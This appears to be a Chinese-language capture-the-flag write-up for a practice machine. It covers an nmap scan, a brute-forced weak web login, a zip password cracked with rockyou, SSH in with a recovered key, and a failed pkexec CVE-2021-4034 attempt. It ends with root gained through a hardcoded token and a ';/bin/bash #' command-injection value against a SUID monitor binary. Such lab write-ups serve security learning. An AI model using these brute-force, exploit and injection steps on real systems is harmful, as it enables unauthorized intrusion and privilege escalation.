burteforce
一、信息收集
nmap -sV -p- -sCV -O 172.16.0.112
Host is up (0.011s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Service Unavailable
|_http-server-header: Apache/2.4.62 (Debian)
web界面,没有功能点,提示用户ta0

二、弱口令进入后台
目录扫描

访问,有个9090端口

访问不到,但是重启了一下机器就能扫到端口了

访问是一个登陆的接口

前面这里一直掉,扫目录端口就开放了,用dirsearch可以,gobuster不行,可能是速率太快

弱口令爆破

凭据:admin/password123
登陆成功

三、getshell
下载下来一个备份文件,需要密码

爆破出密码rockyou

解压zip

是一个私钥,使用ssh登陆

前面有提示有ta0用户,使用ta0登陆

四、提权
pkexec提权
前提: Polkit ≤ 0.105
命令:
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
chmod +x cve-2021-4034
./cve-2021-4034

但是执行并未成功
自定义文件提权
发现还有一个可以二进制文件

运行发现需要一个令牌和服务名称

strings一下,丢给ai,发现硬编码X-MNT-9921
strings /opt/scripts/sys_monitor
/lib64/ld-linux-x86-64.so.2
ZxP
puts
setresgid
setresuid
system
getuid
__cxa_finalize
strcmp
__libc_start_main
snprintf
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
System Monitor Tool v2.0 (Secure Mode)
Usage: %s <auth_token> <service_name>
X-MNT-9921
Access Denied.
[+] Identity Verified. Running as UID: %d
/usr/sbin/service %s status
--------------------------------
Executing: %s
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
vuln_monitor.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
setresuid@GLIBC_2.2.5
_edata
getuid@GLIBC_2.2.5
setresgid@GLIBC_2.2.5
system@GLIBC_2.2.5
snprintf@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
然后使用; 闭合前面的命令,# 注释后面的,执行/bin/bash 拿到root
/opt/scripts/sys_monitor X-MNT-9921 ";/bin/bash #"

License:
CC BY 4.0